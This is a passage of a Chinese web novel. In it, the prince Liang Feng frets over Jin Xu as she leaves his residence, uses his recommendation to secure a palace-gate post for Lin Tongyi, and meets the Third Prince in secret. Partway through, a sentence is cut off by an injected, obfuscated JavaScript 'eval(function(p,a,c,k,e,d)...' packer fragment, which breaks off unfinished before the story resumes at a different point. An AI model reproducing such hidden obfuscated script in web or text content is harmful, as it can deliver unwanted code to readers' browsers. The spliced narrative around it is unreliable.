她立刻扭头,看见是他便穿过花丛向他走来。 “玩好了吗?” 她点头,“我想走了。” “那就走吧,我也想走了。” 梁风叫小缃去与五公主打声招呼,便牵她回府。 上了马车,四周安静下来,没有那么多耳目。梁风道:“这场宴是为试探我的,不止是与曦做局,背后大概还有皇帝和丞相,你在那边是不是见到了游琪?” “嗯,见到了。” “没事吧?”她的神情垮垮的,不太开心的样子。 “没事啊,她们也很辛苦。”金絮道:“她们年纪也小,参加宴会为了家族需要得去讨好公主、去赔笑、去把自己和污浊不堪的人划分界线,她们都是在用自己经营。” 梁风也认同,“这场宴会就是这个目的。” 她扯了下嘴,“我突然明白了,从前娘亲为什么不喜欢住在京城,她宁愿和父亲分开也要带着我留在太南,她不喜欢经营。” “她们和你划分界线了?” “不是,我或许比她们还轻松点。” 她很不舒服,眉头一直皱着,手掌按着肚子。梁风很担心,见到她之后他反而酒醒了很多。 金絮叫停马车,车还没停稳就钻出去,跳下车弯腰直接吐了。 吓到梁风,他赶忙拍拍她的后背,“我身上的酒气熏到你了?” 金絮吐得直不起腰,一刻钟前吃的精贵肉菜全吐了出来。 快到王府了,梁风叫暗卫去唤李婶,急得不行,给她递袖子。 呕吐会催泪,金絮用他的袖子擦嘴擦眼睛,还能够看他,“是被毁的《红叶书》熏到我了。” 她梁风抱起她飞快地去她的院子,给她递水漱口,李婶为她把脉, “要不要我去和郑夫子澄清一下《风情稿》写的内容?”梁风心疼,摸摸她的头发。 金絮神情恹恹,“不用了。” 进了屋,周围彻底没有耳目,她咳嗽清清喉咙道:“郑熹丘在《风情稿》里面说你所谋甚大,这才是他们试探你的真正目的。” “所谋?”梁风睁大眼睛。 金絮看着他道:“对,所眸甚大。” 202. 《红叶书》(一二二) 梁风把眼睛眯起来。 “书被我烧了。”她道:“再去买本《风情稿》来,我记得郑夫子添了句‘安分王望女时,所眸甚大’的内容,‘眼眸’是‘计谋’的意思。” 梁风不知道能说什么了,以后见朝廷那些人,他得把眼睛缝起来。 “还有刚才宴席上,五公主问我王爷为什么会请我入府做客卿,我说我只是暂住,公主没有细问。”金絮也开始担忧,“郑夫子这是什么意思?他一出山就要针对你,昏君得怕死了。” “不知道。”他真不知道。 金絮被这三个字说得也是无奈。 梁风捻捻她脸颊边的头发,“你舒服点了吗?饿不饿?应当不饿吧,晚些时候再喝点粥吧。” 金絮不理他,语气沉重,“我在谢韵面前夸你了,谢韵好像不太喜欢你。为了避免皇帝忌惮,你前些年流连青楼的确是个好法子,你和谢韵的婚事恐怕是不成了。” “干嘛要成。” “刚才回来路上我想了想,你觉着皇帝为什么十分希望你娶谢韵?” “不知道。” “你想一想,我没想明白。”她眉头皱皱地分析道:“谢傅年纪太大,御史大夫用不了多久就会换人。丞相如果空缺,则由御史大夫直接升任。皇帝惦记的是下一任御史大夫,也就是下一任丞相。安排你和御史那边的人结个姻亲,皇帝会对你更放心。 “还有的是,皇帝知道你和冯棹台关系好,冯棹台也是御史的人。皇帝很怕,他想给自己做万全准备,他不急着立太子,因为他觉得他还能在皇位上坐很久。” 她灵光一闪,想通什么,“皇帝是不是在培养冯棹台?皇帝会不会想对游照同下死手了?” 不知道。梁风把眼睛眯起来。不过皇帝的确在培养冯棹台。 “你想一想!”金絮快要怒他不争了。 “没事的,皇帝如果想对游照同下死手,以游相的聪明才智不可能不知道,肯定早发觉了。”梁风安慰,“不过这件事情的确让我隐约有些不好的预感。” “隐约?一笔一划摆在你面前了还只是‘隐约’?!” “那我要怎么办嘛。” 她凝眉想了想说:“在给你送画像的那些人里面选一个最合适的成亲。” “不可能。” 她目露凶意,“我真是一个会发瘟的人,写本书居然给你带来祸事。” “怎么想到这些去了,还没祸起来呢,怎么就是祸事了?” 她马上要开口,梁风拦道:“我现在更关心你难不难受,你难受了我会更加难受。” 出门前她抹了点胭脂,漱口之后口脂都被擦掉了,嘴唇有点白白的,面色却红润,梁风看不出她气色怎样。 金絮不说话,梁风低声问:“你刚才和那些女眷站在一起时,心里在想什么?洗个脸好不好?” 她躺下盖被,“没想什么,不和你说了,我要睡觉了。” 梁风扯被子,“你把妆洗了再睡。” 她不动,梁风磨她,“你和我说说,你见她们的时候在想什么?你和凝荷她们在一起时和你刚才在宴席上想的是不是不一样?” “什么不一样?”她不想搭理。 梁风琢磨了一肚子,最后问:“刚才宴席上的人有没有歧视你?” 她愣了,没好气道:“歧视什么,她们歧视《温柔新语》。” 他知道。梁风索性站到她面前,向她展示。 “她们是这样的——”他学着那些女子将双手端在身前,巧笑倩兮的模样。 “而你是这样的——”他将双手垂在身侧,像个石像。 金絮稀奇地看着,脸上微微笑了,“你是说这个。” 梁风点头。有没有一点埋怨,有没有一点不甘,有没有一点羡慕,有没有一点愤怒和悔恨,这些他都很想问她。 “风尘女子需要展示,手不端前,袖子就不会遮住自己的身段,不展示不风尘。”她甩甩袖子,不在意道:“我只是习惯了。那些小姑娘哪里见过风尘,又怎么会知道风尘女子是什么姿态,我以前也不知道啊。她们只会在宴席之后,听自己的兄长或者父亲说起,然后才知道,哦原来是这样。” 她坦然道:“你不用在乎这些。我不觉得难受,出事之前有我爹娘,出事之后遇见你,我其实比她们轻松多了。” 幸存者真的轻松吗?从她这些年的成长轨迹来看,梁风并不觉得,她头发都白了,“你也不轻松,前几年我有很多时候不在你身边啊。” “好了,我要睡觉了。”她蒙头躺下。 梁风没法再说什么,替她掖好被子,她先安心休息。 梁风退出房间,命人上街买了几本《风情稿》回来,这一次认认真真地看。 金絮还没睡醒,他便全部看完了,也的确看见了郑熹丘加的那句说他眼睛大的评语。 很难说郑熹丘写这本书的目的就为了这句话,保不齐还有别的目的,他暂时看不出来。 暗卫送来了新的消息,朝堂文官对《风情稿》的议论风向出现转变。 郑熹丘年纪太大,《风情稿》由郑老门生代为执笔。这些门生都是初出茅庐的文生,在朝堂没有根基,凭借《风情稿》得到了郑熹丘的些许庇护。有文官猜测,《风情稿》说不定是这些新人借以崭露头角的阶梯,郑夫子在为某人铺路。 梁风管不着新人,更管不着郑夫子想做什么,他要做的事情,是得想想该怎么把眼睛缝起来。 最好是皇帝再召见他一次,他眯着眼进宫去。 画像仍然不断送来,数量减少,技法却逐渐走高到偏向写意,有的甚至三两笔画完一张脸,已经无法辨别男女。梁风将画像全部拒之门外。 无法缝住眼睛,他分出的心思想,中秋节快到了。 金絮不愿意出门,似乎也在暗中等待中秋节。梁风陪在她身边,衣服都要黏在一起。 没有画像,王府便没有其他与外界往来的事物。然而中秋小宴过后,她却收到了信件。 梁风起初以为是她和太南那边的姑娘通信,但是慢慢地发觉不对劲了,有时来信一天一封,太南的回信怎可能这么快。 于是,金絮又一次收到信的时候,梁风明目张胆地和她一块看。 “不许偷看。”金絮防他。 “不许防我。”梁风不痛快,又不想真的僭越,站在信纸背后试图透过信纸看穿字迹。 看不清楚,隐隐约约看见个“林”字,他大脑敏感,浑身毛竖了起来,“是不是林童忆?” 她快速看完折了信纸进屋,用蜡烛点燃烧了。 梁风不可思议地瞪大双眼,防他防成这个样子。 “那个姓林的和你说了什么?有什么不能告诉我的?这人是不是在纠缠你!你不可以因为他防着我!” “我没有防着你......” 梁风不听,“这人是不是向你索要了什么,好大的胆子,敢和王府的人提过分的要求!” “我不是王府的人。”金絮的脸变肃,“中秋之后我就搬出去。” 梁风听不得这话,情绪一下子高了,“你搬出去干什么?你搬出去是为了找他么?” “不是找他,我是无论如何不能在王府继续住了。” “无论如何”四个字梗住他的所有情绪,她已经在公主和众位贵女面前露过面,如果往后不想惹上什么事,她确实不好在王府继续住了。 “林公子确实和我提了要求。”她道。 她想说什么,却没说,欲言又止,活像一副被逼无奈遭人胁迫的样子。梁风心头火起,“他提的什么要求!王府没有生意是可以托他做的。他不会是想当官吧?” 金絮居然点头。 梁风惊了,“当官?”这人有那个本事? 金絮无奈地叹了一声,“我再和他说说看,你别急。《风情稿》的事情还在闹,你这个时候不能安排旁人做官。” 这句“旁人”听着有点顺耳,梁风勉强沉着道:“他想做啥官啊?” 金絮沉默着不说话。 “肯定进不去朝廷,我最多安排个末位给他。” 她一怔,“像是徐礼那样的?” “差不多吧。”最近那么多双眼睛盯着王府的风向,他此时当真不能做太出格的举动。 “我去和这人说,当了官就好好干,离你远点。”梁风当即出门。金絮立马把他拉住,“等等,你不用出面,我去和他说。” “这人纠缠不休,你和他说没用,必须由我出面。” 她建议道:“不,你不用亲自出面。这样吧,你帮我写封举荐信,我送去给他,之后他能不能成功入仕,我们也不管了。” 梁风思索起来,不用直接出面倒是可行。 金絮放轻声音道:“你就在信里说林童忆是我的亲友,在我恳求之下为林童忆举荐。你假托我之名,这样不显得你举荐林童忆是出于私心,皇帝不会那么忌惮。” “亲友?”梁风捕捉到一个词。她愿意对外说林童忆是她的亲友,那说明在她心里,她和林童忆是不可能的。 “我写信送过去,这人就和你两清?” “对。” “那你还要不要搬出王府。” “要。” “......”梁风掷地有声,“这人再寄来的信件你不能烧,必须给我看,否则......否则十三不会再帮你跑腿了!” “好。” 梁风写了举荐信,信中仅写明林童忆是他府内人的亲友,年纪渐长却无一技之长,托给谋个简单的差事,赚些钱两。只说差事,不说官职,并且隐去金絮。 写到半路他停笔,这似乎不对劲。若说他府里人没个差事,那只管把人叫来王府当差便是了,又怎么还要向官府举荐。 可是想到金絮那一副遭人胁迫有苦难言的表情,梁风还是写完了,命人将信给林童忆送去。 他得跟一下后续,确认林童忆到底得了个什么差事,如果不妥当,他必须再收回这个差事。 信送出,金絮没再说什么,整日窝在房里。梁风始终留意她身边的往来信件,但这之后她没再和王府外 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和她一同去往皇陵,她被守卫拦下,不能进去。 金絮也不纠结,往车舆上一坐,“你去吧,我等你出来。” 梁风便自己去了。这是第一次皇陵外有金絮等他,也是第一次不觉得祭拜母亲时太过难熬。 出来后看见她靠在车壁上睡着了。梁风摇醒她,趁她睁眼迷迷糊糊时问:“这能不能算我带你见过母亲了?” “......能。”她不清醒。 梁风更满足了。 中秋佳节的长门寺香客鼎盛,游人众多。诵经声层层叠叠,环绕周身,朴素庄严。 梁风想求姻缘。金絮依了,“随你吧,我在这等你,你求你自己的,别求我的。” “不陪我啊。” “不陪。” 冷漠的语气就连缭绕的香火也不能熏暖几分,梁风一哼。往前走几步,回头看,她没有跟上。他更重一哼,自己去了。 站在月下老人的胡须下,梁风再次往身后看了眼,她没跟上。 梁风思索起来。 他自己的姻缘他很确定,除了金絮之外他不要其她人,但是金絮的姻缘就不确定了,那他是不是应该帮她求一个。 这个念头一起来,梁风忽然明白她刚才为什么提醒他不要帮她求了,她真是对他了如指掌。 梁风觉得可行。 他拿了签筒,贴了自己的生辰八字,跪在蒲团上。 为他人代求这件事,可能得不到月老回应,也就是求不来签。所以只要能求来签,就说明这事能成,说明求签之人和所求之人能成。至于签了什么内容,那不重要。 梁风开始摇签。摇了几下没有掉出签来。 他继续摇,直到掉出签来。 很好。他去找僧人解签。解为一个中签,签语是得偿所愿。 她的所愿?按他理解,求签之人和所求之人能成,也就是她和他能成。 梁风很满足。签的内容也很重要,很多事情冥冥之中就注定了。 他拿着签回去找她,献宝似的想给她看。金絮不看。梁风垮起个脸。 她在长门寺求的平安符,最后系在了梁风手腕的发绳上。 梁风戴着一手腕的东西回到王府。 府内围湖布置了一个小小的灯会,天黑下来,他牵着金絮逛小灯会。 梁风道:“我知道前几天你就在和老李商量今天应该怎么过,其实不用商量,只要你陪着我,随便怎样都能过。” 画了两个糖画,改为金絮牵着他。坐在湖心亭子下,梁风还想献宝,“你快问我,我求得了个什么签。” “好好好。”金絮端胡饼放到他面前,依言问:“你求得了什么签?” 梁风将签纸殷勤地递给她。她一看便道:“为什么得偿所愿是中签?” “不好不坏?得偿所愿不好吗?这不应该是上签吗?”她很疑惑。 “不好吗?我觉得挺好。”他都没往这处想。 她笑,“你觉得好就行。” 签语好就行,梁风心里很期待,“这签的意思是不是说现状是好的?将来是可期的?” 她摊手,“不知道,我寻常不会求签问事,你当时在庙里应当多问问僧人。” 梁风摇头,“我觉得不应当问僧人,应当问所求之人。” “好,那你去问吧。”金絮将签纸给回他。梁风接过来,她是用指尖捏着的,纸上连点她的手温都没沾染。 他便问道:“那我问你,你觉着现状很好,将来可期吗?” “不好,不可期。” 签纸在他掌心里被捏皱,他当然猜到了,“这应当说,神鬼的意思不可信。” “我应当学你,少求签问事,平安符求来也是没用的。”梁风将签纸揉成一团,面前榻案被摆满了胡饼。 203. 大山 “平安符是有用的。”金絮掰一块胡饼塞嘴,“我说它有用,它就有用。好吃,你尝尝。” 梁风吃不下,攥着签纸的掌心根本松不开,他一杯杯喝酒,想喝醉了和她撒酒疯。 “你不能不告而别。” “不会。” “你会。” “不会。” 喝了几杯,酒被她换成了水。 “你最喜欢不告而别。”梁风生气了,“你搬出去能住哪里,你要回太南了。” 她动动嘴唇,说了什么,却不见声音传出来。梁风醉水了。 他撒泼拍桌,“我什么时候能被你摆在第一位。” “......完全不是第一位,你心里首位是丽姬,丽姬甚至不在你身边。” “你只会和我说好听的话......你连说话都不好听!” 脑子里很吵,脸很热,梁风碎碎念念:“救命之恩根本不是举手之劳,是要感念的,是要记在心里的,是要时不时惦记一番的。” “我知道,林童忆也是这么做的。” “不许提他!” 周围忽然静了。梁风盘腿坐着,低头看着手指尖捏的酒杯。最圆的月光照在酒杯里,他低着头,感觉脖子被人吊起来。 “回房去吧。”金絮伸手。 梁风给她牵着,乖乖回房。他一点没有醉,能走直线,反而是她走得歪七扭八。 躺倒床上,梁风瞬间入睡。 什么都没有梦见。 半梦半醒间,被哨音叫醒。 头很痛,他睁眼弹起来一看,房里不见金絮。 哨音还在响,梁风摸索下床推开窗户,暗卫飞来一张纸条。上写林童忆寻到差事,宫门宿卫。 梁风头重脚轻地摸去她房里,她正在收拾包袱。 金絮看了他一眼,道:“先去洗漱吧。” 她一边收拾,梁风一边将她包袱里的东西往外拿,边说:“林童忆寻到差事了,宫门宿卫。” “宿卫是干什么的?” “看门的,看皇宫的门。”梁风站不住,往她床上坐,“宿卫不是卫兵,没有拦人查令的权限,只是在宫门口摆架子的。林童忆经过商,市籍不能入仕,最多寻到这种样子好看,但没什么实际用处的差事。” 她思索什么,没说话。 梁风以为她是担心林童忆不满意,便提醒:“很不错了,官府衙门也有看门的,他都能和皇宫沾上关系了。”这差事确实比他想象中好,随手写的一封信居然这么有用。 “嗯,林童忆会感谢你。” “......我才不要他感谢。” 后续还得看看相府和皇帝那边会不会发话提点,他估计林童忆是因为样貌好才拿到这个差事的。 “你不喜欢林童忆那种长得不够黑的哦。” “嗯?” “十三要不要留在你身边?” “不要。” “那行。” “答应得这么快?你不会当我面说收回,背地里偷偷叫十三盯在我身边吧?” 梁风晕乎乎不说话,他正是这么打算的。 金絮怀疑地看着他。梁风坚持不说话。 她推他去洗漱,梁风被关进浴室。他解了手随便洗了把脸出去,金絮已经收拾好包袱。梁风抱住她的包袱,趴在包袱上睡觉。金絮道:“没吃早饭吧?我叫小缃送早饭来。” 梁风不理她,包袱是不会说话的。 小缃没来,院子外李晟匆匆走来道:“王爷,三皇子来了。” 包袱一激灵,赶紧起身,便见梁与棣紧随着老李出现在金絮的院子里。 三皇子笑吟吟打招呼:“皇叔近安呐。” 金絮当先行礼,低下头。梁风走到她身边站着,脑子清醒很多,“与棣怎么来了?” “上次与曦设宴没邀请我,她在我面前得意,说皇叔带了个客卿一同赴宴,我还挺好奇什么样的人能得皇叔青眼,这便来见识一番了。”梁与棣笑着说,牢牢盯着金絮,看见案上的包袱。 梁风侧身挡在她身前,将视线隔开,“邀了吧,我在宴席上都见着你了。” 三皇子笑容微敛,眼珠在他脸上提溜一转。梁风叫老李带着她先行离开,金絮依言低头随着老李走了。 “与棣这是解除禁足了?”梁风问。 “是啊。” 梁与棣仍盯着金絮的背影,皱眉埋怨,“皇叔真是小气,看都不让侄儿多看,却对与義那么大方。” 梁风再挡,“原来你是找我借钱的,要借多少?我对你也一样大方。” 他道:“与義借钱是想开个馆子经营,他找我商量是开青楼还是开赌场,你也是这么打算的?” 梁与棣闻言眉头微微沉平,脸上有笑,却不是笑吟吟的模样。 梁风紧跟着道:“说吧,借多少?我能借,只是你要记得还。”他端茶杯,沉着地喝金絮倒的茶水,耐心提醒:“可别像与義那样,次次是我追在屁股后面要他还钱。” 梁与棣眉毛再次松了,摇扇笑道:“皇叔出资修建拂柳街,原来还有余钱。” 梁风答得快:“燕国是调不出钱了,王府还能凑一点,看你借多少。” 三皇子作势要开口,梁风抢先道:“如果你也是要做青楼赌场这样废财的事,那我大概还是得去信燕国,看看他们能不能再紧缩一点。” 梁风嘴不停,“这样一来一回耗时可长了,你若着急,最好是问问皇帝能不能从国库调取,实在不行你跟着与義一块干也可。” 三皇子神色不动,微笑,“皇叔如今倒是会说话了。” “我一直挺会说话的。”梁风淡定喝完一杯水。 梁与棣摇扇闲道:“侄儿确想经营,不过借多少钱的事容侄儿再想想吧。”边说边自顾自向院子外走,沿着金絮离开的路。 经营是什么意思。梁风此刻当真觉得金絮不能留在王府了。他快步跟上梁与棣,没话找话,“与義不争气,平时最爱吃喝玩乐,还得多靠你为陛下分忧。” 三皇子的眼神淡淡飘忽过来。梁风当作没看见,继续道:“只不过最近京城内发生的事情太多,陛下偶尔也会感到心焦,遇事不顺心时火气就会大些。你常在陛下跟前走动,难免碰到陛下在气头上的时候,这次被禁足,你心里可别埋怨陛下。” 梁风语重心长,“你在宫里多嘱咐太医,让他们多多上心陛下的龙体康健,身体好了,心情好了,日子才能长着。我这个做叔叔的,十分希望你们父子同心协力,共同扶持江山社稷,大周放眼望去的前景才能一片光明。” 梁与棣眉毛高高挑起,似乎暂时找不到话。 梁风还没说完,“另外则是,你是与義的兄长,平日也要关心关心与義,别让他玩乎所以。哪怕是你愿意借钱给他玩,也别用让他在吃喝玩乐上头。前一阵与義问我借钱,我就和他说过青楼赌场还是别开了吧。” “皇叔说的真心话?” “那是自然。” 不全是说假的。如果皇帝父子和那些文官之间当真能同心协力,大周的前景的确一片光明。 余光注意到周围廊下站着金絮的身影,梁风脚底一偏,引着梁与棣去往反方向的大门,嘴上还在劝:“好好和陛下道个歉,你纵然有意避开那些销赃的盗贼,却难防太多的人费尽心思攀附你,防不胜防,想必陛下会谅解的。” “是么。”三皇子不从淡淡的语气中表态。 梁风径直把人送去门外,把人送上马车,再多嘴:“钱的事情有需要就开口,我帮你和与義是一样的。” 梁与棣站定马车旁,回头看了看,向梁风道:“那侄儿多谢皇叔了,侄儿听劝。” 三皇子微微一笑,这一刻似乎很乖顺,依着梁风的意思上车,打道回府。 梁风目送梁与棣离开,回头一看,正好看见金絮站在身后。 她没有拿包袱,道:“吃早饭去吧。” 梁风乖乖跟在她身后。 吃了饭她就要搬出去了。梁风把这顿早饭吃了一个时辰。 他拿着金絮的包袱,厚着脸皮跟她一起去她事先订好房的客栈。 “你将十三召回去没有,我要是哪天见着十三,我会找你算账。” 梁风板着脸不说话。 金絮盯他。他板着脸答:“召回了。” “王府原来连个客栈都不如。”梁风幽幽怨怨,“你就算不住王府,也没必要住客栈。” “我只是暂住,等找着落脚的宅子就搬出去。” “我帮你找。” “不用。”金絮拦道:“我住在王府太耽误你相看妻子了,我走了后若是有人问起,你就说我的家不在京城,我回家去了。至于我回家原因,你自己想说法应付吧。” 走之后的事情都想好了,梁风愈发怨念,“我会常来找你的。” “纳了妃就别来找我了。” 梁风闭嘴,低头看指,坐着不走。 金絮忙着收拾床铺和衣柜,偶尔看他一眼。梁风静静坐着,几次张嘴想说话,最终没说。 坐了很久,她收拾好了,梁风临出去前叮嘱:“你回太南的话一定要提前和我说。” “好。”她答应了。 梁风这才把双腿收去门槛另一边。 这个客栈的位置挺偏,不靠近城门和坊市大街,但是房钱便宜。只要还能找得着她,住哪里也不算紧要。 梁风记下这个位置,用了近半个时辰回到王府。客栈离王府挺远的。 梁风去她的卧房,推开门,一股凉气扑面而来。 人走了,房间里的气温也降了,人气仿佛瞬间消失。 她的房间地面干净,书架摆的零星东西比较散乱,床榻也乱,她睡醒后向来不会叠被子。梁风一样一样东西看过,吩咐老李将她的房间原样保留,转头在她桌上看见《红叶书》。 翻开,前几页有修改痕迹,再往后就没有了。她增添的内容停留在第三回结束。 梁风将《红叶书》拿走,其余保留原样,包括床榻遗留的头发丝。 第二天,梁风去拂柳街走了一圈。 整条街破烂的砖瓦木头全部清理干净了,沿街可见匠人们拿着图纸对每座房屋进行勘测,商讨划定具体修缮计划。 拂柳街官府遭一番清洗,张凉最终没有保住官帽子。新上任的大人看起来睡眠不足,尽心为梁风讲解修缮进程。 房屋都没有伤到地基,好修,唯一问题是房屋太多,匠人不够。朝廷下的旨令是尽快,那便不能一座接着一座修,而是全部房屋一起修,需要的匠人太多了。 朝廷下旨从城外调拨匠人入京,最近的郡城是太南。太南工于房屋土木建造的匠人却不多,需从更远更合适的郡城调拨人手和砖瓦。最快的一批砖瓦已经运来了,停在城外。 新上任的大人每天都很忙,忙着处理张凉遗留的烂摊子,还要为府衙内属官流动造成的事务搁停兜底。梁风除了捐资外爱莫能助。 帮上忙的是三皇子的人。三皇子府的人亲自为新大人忙前忙后,填补了拂柳街官员贬黜造成的缺口。等修缮事宜步入正轨,新官员逐渐接手事务后,三皇子的人还得离开。 午后去客栈找金絮,她不在。 第三天,梁风去了皇宫西北方向的宫门一趟。上到附近高楼等待,果不其然在接近巳时宫门宿卫轮岗时见到林童忆。 林童忆穿着卫甲,站姿并不很挺拔,一眼能看出是没有经过训练的痕迹。 午后去客栈找金絮,她不在。 第四天,梁风一大早去客栈找金絮,她还是不在。 他坐在客栈堂肆耐心等了三个时辰,等到太阳偏斜,都不见她踏出房门一步。 梁风出金子让客栈小二把她的房门打开。 里面是空的。 房内较暗,没有开窗点灯。小二将蜡烛点上,照亮床榻放着的几件外衣。她从王府离开时带走的其他东西全都不在,她人也不在。 梁风茫然地走出客栈,大风从空中呼啸而过,留他一个人在地面站着。 后知后觉自己被骗了,他竟一点也没发现。 金絮在躲他。 梁风不明白,回府中见着老李道:“她答应过我,去太南的话一定会告诉我的。” “那金姑娘大约尚未离京。”老李分析道。 肯定是那家客栈住得不合她心意,她只好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“酒楼太吵,无法听见说了什么。”暗卫道:“但从两人谈话间的神情来看,似乎很愉快,絮姑娘也不像是被胁迫的样子。” 金絮瞒着他偷偷藏起来,却和林童忆大方会面。梁风心里有点不舒服,不太好的感觉,很乱。 他带着暗卫进入酒楼,看见林童忆的位子后径直冲过去。 林童忆正在吃饭,忽然被一片阴影覆盖。 梁风啪地把随身匕首拍上桌案,震得林童忆一口饭咽下去。 林童忆抬头一看,“王爷?” 出来没有佩刀,只带了一柄匕首,梁风觉得威胁不够,怒斥增加气势:“宫门宿卫这个差事你还有什么不满意?你若是贪图钱财,我送你那一堆谢礼的时候你却不收?你不收还要几次三番纠缠于她!” 林童忆惊愕道:“殿下是不是误会了什么?” “你既然想要挟恩图报,又何必次次说是举手之劳。一边故作清高,一边又要威胁她不断索取,本王就没见过你这么不坦荡的人!” 他抽匕叮地插在桌上,“那些谢礼我再给你送过去,你和她两清,往后不许再纠缠她!” 林童忆见状不妙,忙摇手,“不不不,草民心里是很感激的......” “感激?”梁风打断:“你如果不是挟恩图报、对她索取无度,我会给你写举荐信?你想做官,在我那次给你送谢礼的时候你就该提要求了,我不是不能答应。你非不说,反而在背后胁迫她!” 小人一个! 梁风愤愤然,怒瞪林童忆。 林童忆不敢插话,神色微低,不知想着什么,只在他说完后道:“举荐信这件事情的确是草民不够坦荡,也是草民能力不足,无法凭借自己谋得一份得体的差事。在得了您的举荐信后这么久也未向您表示感谢,是草民疏忽做错了。” 梁风眯眼,“什么意思?” 林童忆语气很真诚,“草民没有挟恩图报,恩情之外,草民想和她做朋友,从来没有胁迫过她。” 话全被堵了回来,梁风脑中重现那日金絮在他面前有苦难言被逼胁迫的模样,对林童忆说的话一个字也不信。 林童忆端起双手,低头弯腰行一礼,“惹王爷发怒,错全在我。” 梁风再次眯眼,“无论如何,你知道错在你就好,往后不许纠缠她。” 梁风准备走了,最后看一眼林童忆,谨防对方还有驳斥的话要说,也最后留一个警告的眼神。 “离她远点。” 梁风说完就走,林童忆却追上拦住,“王爷。” 梁风不耐烦地停了。林童忆端手,为自己的冒犯一丝不苟地行礼,“草民是不愿意离她远点的。” 梁风登时忍不住嫌弃上脸。林童忆保持着礼节低头认真道:“草民自认关键时候帮得上她,她也需要草民的帮助,那草民又为何要离她远点?” “你能帮她什么?!”梁风简直觉得不可思议,声音高高地提起,狠狠压林童忆一头,“本王说什么尔等平民照做便是!” 说这种话还低着头,连直视他的勇气都没有。 梁风忽然不想说了,一个字也不想说。 梁风拂袖离去,不再看这个林童忆。 走出酒楼踩在阳光下的一刻,心里忽而产生一股疑惑。 他怎么好像有点没懂。梁风捋了捋,没捋明白。 算了,不管了,金絮不会喜欢这种人。 他吹哨与暗卫呼应,暗卫回哨指引十三的方向,他飞上屋顶,循着哨音去找十三。十三应当跟在她身边。 不到一刻钟,隐约可见前方屋脊站着十三,梁风加速飞跳过去。 如果林童忆没有胁迫过她,那金絮为什么要让他写举荐信,要让他为林童忆谋差事铺路? 疑惑在心里出现的瞬间,梁风站到十三所在的屋脊之上。面前是一座客栈,距离林童忆值守的宫门不算远,客栈下停着一辆浩大富丽的马车。 梁风认出是三皇子府的车轿。 没见到梁与棣,应当在车里。马车旁的小厮正从车尾搬出一盆红色大花的绿植进入客栈,无人注意到梁风。 204. 《红叶书》(一二四) 梁风跳下,越过马车向客栈走去。那个端着大红花盆的仆从正和客栈掌柜交涉,交涉完了仆从随着掌柜指引匆匆跑向二楼。 梁风看暗卫一指,正好指向仆从即将敲门的房间,暗卫说金絮就在那个房间里面。 掌柜对门说了什么,房门打开,仆从将大红花盆端了进去。 从这里望不见金絮,梁风回头看,梁与棣的车桥还停在外面。 茫然更深了。梁与棣这是送花给她?为什么?与棣什么时候和她有接触了? 车帘掀开,露出三皇子正看着这边的脸,目光深深探究。 梁风索性大步走过去。走得近了,梁与棣笑吟吟道:“好巧,皇叔怎么在这儿?” 梁风不客套,直接问:“你那盆花是送给谁的?” “给一个女人。”三皇子想了想,“哦,就是与曦设宴那天,皇叔带去与宴的那个女人。” 梁风想起来了,宴会那天见到梁与棣路过女眷的宴席,定是见过金絮的。 梁与棣颇有兴致道:“怎么?这女人不是离了王府么。” 梁风不应,反问:“你是怎么注意到她了?” “就是宴会那日,我见这女人独自离席,站在院中执箭投壶。拢共只投了两箭,一箭中投,一箭正中壶身红心,准头极佳。有一手好技却甘心不露于人前,我本想探究几分。”梁与棣语气淡淡。 与棣平日作风不是很好,尤其是及冠后仗着皇帝宠爱在男女之事上颇为随意。梁风同样淡声道:“投中两箭而已,也不是什么稀罕事。” 梁与棣呵呵一笑,“这女人瞧着是不错,可惜啊,满嘴不知哪句是真。” 梁风闻言愣了,本想问是怎么回事,思索后改道:“什么意思?” “她同我埋怨,说皇叔泼天富贵不愿意分她一星半点,还说王府定不如我这皇子府。” 梁风又愣了,这次真心实意地问:“什么意思?” 三皇子呵呵地笑出声,“皇叔来找人,是原本不想给的富贵决定给出去了?” “她私底下找过你?” 梁与棣没应话,梁风追问:“她找你干什么?” 他感觉很怪,金絮从王府出去后干了什么? 梁与棣彻底笑出声,道:“皇叔,别说你不明白。这女人显然是想投身别处呗。” “侄儿听与曦说,这女人与皇叔相识于一扇屏风?可侄儿又听旁人说,您与这女人是露水情缘,还有人说是重逢于太南的旧识。真真假假,说法真多,不知道的人还以为皇叔身边女人很多呢。” 送完花盆的仆从匆匆跑出来,向梁与棣递了一张字条。梁与棣示意一下,仆从当场将字条展开。 三皇子略微扫过字条便用下巴点点梁风,仆从便躬腰将字条呈给梁风。 “她还当皇叔不大方,可皇叔分明对侄儿们大方得很。风尘出身吧,还能由她挑挑拣拣?” 梁风不明所以接过字条。三皇子噙着笑道:“皇叔,回见。” 皇子车轿行远,梁风低头看字条内容,是她的字迹,写着:定不负此意。 此意?他心里一阵发愣,想的却不是立刻找她。 关于他们的关系已经出现诸多版本,有些是金絮那边说出去的,有些是他这边说出去的,无论是屏风还是其他说法,梁风都是知道的。假话要想令人信服就必须掺一点真的,半真半假是谎言的精髓。 可是投身别处是什么意思?他好像明白,好像不明白,梁风决定有话就直接问她。 此刻就在她楼下。梁风一大步跨向客栈大门,走出两步便走不动了。他转了身,朝客栈外越走越远。 回过神来时,一抬头,已经看不见客栈。 梁风眨眨眼,忽然想其实先不直接问也可以。他可以先思索一番,好像需要先准备些什么。 捏着字条回府,将这件事情从头和老李说了一遍。 李晟看了字条,看看他,抚须沉吟,脸色微苦,半天道:“金姑娘往常想法颇深,您或许应该和她聊聊。” 他大概知道了。梁风伏案写了封信,想约她出来。就说后日一早,郊外午亭,不见不散,信中伪以三皇子的名义。 李晟也看,问道:“王爷为何假以三皇子的名义?” “不知道。”梁风折信装封,“我怕我约她不会出来。” 信由暗卫托客栈掌柜送去,梁风在府中呆坐。 他是不是该对林童忆态度好点,林童忆至少不是梁与棣和王殊这类人。大概。 到了约定的后日,他一大早宵禁结束便骑马出城。赶到午亭金絮还没来,他不走入亭下,牵着马在亭子外一小片树丛里躲着。 出趟城多麻烦,要办文书还要雇车,总不能走着来吧。她还会担心有没有危险,三皇子相约为什么在城外,为什么不直接在城里见面。如果她来了,说明她还挺看重和与棣的相约。 梁风混着晨露什么都想,想她在干什么,想她是抱着怎样的心情来赴约。 